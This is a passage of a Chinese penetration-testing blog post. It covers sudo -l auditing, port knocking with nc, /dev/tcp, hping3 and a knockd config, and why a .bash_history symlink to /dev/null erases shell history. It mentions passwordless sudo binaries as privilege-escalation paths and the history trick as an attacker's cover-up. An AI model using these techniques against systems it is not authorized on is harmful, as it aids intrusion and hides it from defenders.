&lt;li&gt;敏感操作强制密码验证：&lt;code&gt;PASSWD: /usr/bin/systemctl *&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;审计配置&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;定期检查 &lt;code&gt;/etc/sudoers&lt;/code&gt; 文件及 &lt;code&gt;/etc/sudoers.d/&lt;/code&gt; 目录：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo visudo &lt;span class="c1"&gt;# 安全编辑配置文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="操作演示"&gt;&lt;strong&gt;操作演示&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;查看当前用户权限：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;检查其他用户权限（需 &lt;code&gt;root&lt;/code&gt; 权限）：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo -l -U username
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="总结"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; 是权限管理和渗透测试中的关键命令：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对管理员&lt;/strong&gt;：确保权限配置安全，避免过度授权。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对攻击者&lt;/strong&gt;：快速定位提权路径（如无密码执行 &lt;code&gt;apt&lt;/code&gt;、&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;vim&lt;/code&gt; 等）。&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="补充知识点敲门"&gt;补充知识点：敲门
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;一、端口敲门（Port Knocking）原理&lt;/strong&gt;
通过按特定顺序访问一组预先定义的关闭的端口，触发服务器上的 &lt;code&gt;knockd&lt;/code&gt; 服务动态修改防火墙规则（如 &lt;code&gt;iptables&lt;/code&gt;），从而临时开放目标服务端口（如SSH的22端口）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;二、使用 &lt;code&gt;nc&lt;/code&gt; 命令触发敲门&lt;/strong&gt;
​&lt;strong&gt;​1. 基础命令​&lt;/strong&gt;​
假设敲门顺序为 &lt;code&gt;1000 -&amp;gt; 2000 -&amp;gt; 3000&lt;/code&gt;（TCP协议）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -v -w &lt;span class="m"&gt;1&lt;/span&gt; target_ip &lt;span class="m"&gt;1000&lt;/span&gt; &lt;span class="c1"&gt;# 敲门步骤1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -v -w &lt;span class="m"&gt;1&lt;/span&gt; target_ip &lt;span class="m"&gt;2000&lt;/span&gt; &lt;span class="c1"&gt;# 敲门步骤2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nc -v -w &lt;span class="m"&gt;1&lt;/span&gt; target_ip &lt;span class="m"&gt;3000&lt;/span&gt; &lt;span class="c1"&gt;# 敲门步骤3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. 使用 UDP 协议敲门&lt;/strong&gt;
如果敲门端口使用 UDP：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -v -u -w &lt;span class="m"&gt;1&lt;/span&gt; target_ip &lt;span class="m"&gt;1000&lt;/span&gt; &lt;span class="c1"&gt;# UDP敲门&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;3. 一键触发多端口&lt;/strong&gt;
通过 &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 连接多个命令（按顺序执行）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -zv target_ip &lt;span class="m"&gt;1000&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; nc -zv target_ip &lt;span class="m"&gt;2000&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; nc -zv target_ip &lt;span class="m"&gt;3000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;4. IPv6 环境&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -zv -6 target_ipv6 &lt;span class="m"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;参数说明&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-v&lt;/code&gt;：显示详细输出（可选）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-z&lt;/code&gt;：只发送探测包，不传输数据&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-w 1&lt;/code&gt;：超时1秒&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-u&lt;/code&gt;：使用UDP协议&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;三、类似功能的替代命令&lt;/strong&gt;
​&lt;strong&gt;​1. 使用 &lt;code&gt;curl&lt;/code&gt;（HTTP模拟）​&lt;/strong&gt;​
如果敲门服务监听HTTP端口（非标准用法）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl http://target_ip:1000 &lt;span class="c1"&gt;# 模拟敲门步骤&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. 使用 &lt;code&gt;nmap&lt;/code&gt; 发送探测包&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -Pn --host-timeout &lt;span class="m"&gt;100&lt;/span&gt; --max-retries &lt;span class="m"&gt;0&lt;/span&gt; -p 1000,2000,3000 target_ip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;3. 使用 &lt;code&gt;telnet&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;telnet target_ip &lt;span class="m"&gt;1000&lt;/span&gt; &lt;span class="c1"&gt;# 敲门步骤（需手动关闭连接）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;4. 使用 &lt;code&gt;/dev/tcp&lt;/code&gt;（Bash内置）&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;timeout &lt;span class="m"&gt;1&lt;/span&gt; bash -c &lt;span class="s2"&gt;&amp;#34;echo &amp;gt; /dev/tcp/target_ip/1000&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 敲门步骤1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;5. 专用工具 &lt;code&gt;hping3&lt;/code&gt;&lt;/strong&gt;
发送自定义TCP/UDP包：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hping3 -S -p &lt;span class="m"&gt;1000&lt;/span&gt; -c &lt;span class="m"&gt;1&lt;/span&gt; target_ip &lt;span class="c1"&gt;# SYN包敲门&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;6. 使用 &lt;code&gt;socat&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat - TCP:target_ip:1000 &lt;span class="c1"&gt;# 敲门步骤&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;四、&lt;code&gt;knockd&lt;/code&gt; 配置示例&lt;/strong&gt;
​&lt;strong&gt;​1. &lt;code&gt;/etc/knockd.conf&lt;/code&gt; 配置文件​&lt;/strong&gt;​&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;[options]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;logfile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;/var/log/knockd.log&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;[openSSH]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;sequence&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1000:tcp,2000:udp,3000:tcp # 敲门顺序
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; seq_timeout = 10 # 超时时间（秒）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # 开门规则
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; tcpflags = syn # 仅响应SYN包&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;[closeSSH]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;sequence&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;4000,5000,6000 # 关闭SSH的敲门顺序
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. 启动 &lt;code&gt;knockd&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;systemctl start knockd &lt;span class="c1"&gt;# 使用systemd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;五、替代工具推荐&lt;/strong&gt;
​&lt;strong&gt;​1. &lt;code&gt;fwknop&lt;/code&gt; (Single Packet Authorization)​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;更安全的替代方案，使用单包授权（加密+HMAC验证）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装：&lt;code&gt;apt install fwknop-server&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;客户端命令：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;fwknop -A tcp/22 -D target_ip --key-base64 &lt;span class="s2"&gt;&amp;#34;加密密钥&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. 自定义脚本&lt;/strong&gt;
使用 &lt;code&gt;tcpdump&lt;/code&gt; 或 &lt;code&gt;tshark&lt;/code&gt; 监听特定端口序列，触发防火墙规则变更。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;六、注意事项&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;防火墙规则：确保服务器上的防火墙（如 &lt;code&gt;iptables&lt;/code&gt;/&lt;code&gt;nftables&lt;/code&gt;）默认阻止目标端口。&lt;/li&gt;
&lt;li&gt;超时设置：&lt;code&gt;knockd&lt;/code&gt; 的 &lt;code&gt;seq_timeout&lt;/code&gt; 需合理配置，避免敲门失败。&lt;/li&gt;
&lt;li&gt;加密建议：普通端口敲门（无加密）可能被嗅探，建议结合 &lt;code&gt;fwknop&lt;/code&gt; 使用加密。&lt;/li&gt;
&lt;li&gt;日志监控：检查 &lt;code&gt;/var/log/knockd.log&lt;/code&gt; 调试敲门过程。&lt;/li&gt;
&lt;li&gt;随机化端口顺序：避免使用固定顺序的端口，防止被暴力破解。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;七、总结&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;基础方案：&lt;code&gt;nc&lt;/code&gt; + &lt;code&gt;knockd&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安全增强：&lt;code&gt;fwknop&lt;/code&gt;（推荐用于生产环境）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;快速测试：&lt;code&gt;nmap&lt;/code&gt; 或 &lt;code&gt;/dev/tcp&lt;/code&gt; 模拟敲门&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根据你的需求选择工具，优先考虑加密方案保护敏感服务！&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="补充知识点history怎么不见了"&gt;补充知识点：history怎么不见了
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;问题解析&lt;/strong&gt;
你提到的 &lt;code&gt;.bash_history -&amp;gt; /dev/null&lt;/code&gt; 是一个符号链接（Symbolic Link），它将用户的家目录下的 Bash 历史记录文件 &lt;code&gt;.bash_history&lt;/code&gt; 指向了系统黑洞设备 &lt;code&gt;/dev/null&lt;/code&gt;。这是导致你使用 &lt;code&gt;history&lt;/code&gt; 命令查不到历史命令的直接原因。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;详细解释&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;.bash_history&lt;/code&gt; 的作用&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;功能：Bash 终端会记录用户输入的命令，默认保存在 &lt;code&gt;~/.bash_history&lt;/code&gt; 文件中。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;触发时机：&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用户退出终端时，内存中的命令历史会写入 &lt;code&gt;.bash_history&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用户登录时，Bash 会从 &lt;code&gt;.bash_history&lt;/code&gt; 加载历史命令。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;/dev/null&lt;/code&gt; 的作用&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;系统黑洞：任何写入 &lt;code&gt;/dev/null&lt;/code&gt; 的数据会被直接丢弃，读取 &lt;code&gt;/dev/null&lt;/code&gt; 会立即返回 EOF（空内容）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;效果：&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当 &lt;code&gt;.bash_history&lt;/code&gt; 被链接到 &lt;code&gt;/dev/null&lt;/code&gt; 时：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;◦ 退出终端时，历史命令会被写入 `/dev/null`（即永久丢失）。

◦ 登录终端时，Bash 尝试从 `/dev/null` 加载历史命令（得到空内容）。
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;3. 验证符号链接&lt;/strong&gt;
执行以下命令检查 &lt;code&gt;.bash_history&lt;/code&gt; 是否指向 &lt;code&gt;/dev/null&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls -l ~/.bash_history
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;若输出类似：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;lrwxrwxrwx &lt;span class="m"&gt;1&lt;/span&gt; user user &lt;span class="m"&gt;11&lt;/span&gt; Jan &lt;span class="m"&gt;1&lt;/span&gt; 00:00 /home/user/.bash_history -&amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;则确认符号链接存在。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;为什么历史命令消失了？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;原因 1：符号链接导致历史无法保存。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;每次退出终端时，历史命令被写入 &lt;code&gt;/dev/null&lt;/code&gt; 并被丢弃。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;下次登录时，Bash 从 &lt;code&gt;/dev/null&lt;/code&gt; 读取历史（得到空内容）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;原因 2：内存中的历史未被持久化。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;即使当前终端会话中能看到 &lt;code&gt;history&lt;/code&gt; 命令的输出（内存中的临时记录），退出后这些记录也不会保存。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;恢复历史记录的步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 删除符号链接&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rm ~/.bash_history
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. 重建原始文件&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;touch ~/.bash_history
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;3. 确保 Bash 配置正确&lt;/strong&gt;
检查 &lt;code&gt;~/.bashrc&lt;/code&gt; 或 &lt;code&gt;~/.bash_profile&lt;/code&gt; 中是否包含以下配置（确保历史记录功能未被禁用）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 确保以下变量未被设为 0 或空&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;HISTSIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt; &lt;span class="c1"&gt;# 内存中保存的历史命令数量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;HISTFILESIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2000&lt;/span&gt; &lt;span class="c1"&gt;# 文件中保存的历史命令数量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;HISTCONTROL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ignoredups &lt;span class="c1"&gt;# 可选：忽略重复命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;4. 重新加载配置&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;source&lt;/span&gt; ~/.bashrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;防止历史记录丢失的配置&lt;/strong&gt;
​&lt;strong&gt;​1. 锁定历史文件（只允许追加）​&lt;/strong&gt;​&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chattr +a ~/.bash_history &lt;span class="c1"&gt;# 仅 root 可删除此文件（需 ext4 文件系统）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. 实时写入历史（无需退出终端）&lt;/strong&gt;
在 &lt;code&gt;~/.bashrc&lt;/code&gt; 中添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 实时追加命令到历史文件，而不是退出时保存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;PROMPT_COMMAND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;history -a&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;可能的安全隐患&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;操作背景：此类符号链接常见于攻击者掩盖入侵痕迹（如删除操作日志）。&lt;/li&gt;
&lt;li&gt;建议检查：&lt;/li&gt;
&lt;li&gt;检查系统是否被入侵：&lt;code&gt;lastlog&lt;/code&gt;, &lt;code&gt;who&lt;/code&gt;, &lt;code&gt;/var/log/auth.log&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;检查其他用户是否被篡改：&lt;code&gt;ls -l /home/*/.bash_history&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;总结&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;直接原因：&lt;code&gt;.bash_history -&amp;gt; /dev/null&lt;/code&gt; 导致历史记录被丢弃。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解决方案：删除符号链接并重建文件，检查 Bash 配置。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安全建议：排查系统是否被恶意修改，加强权限控制。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
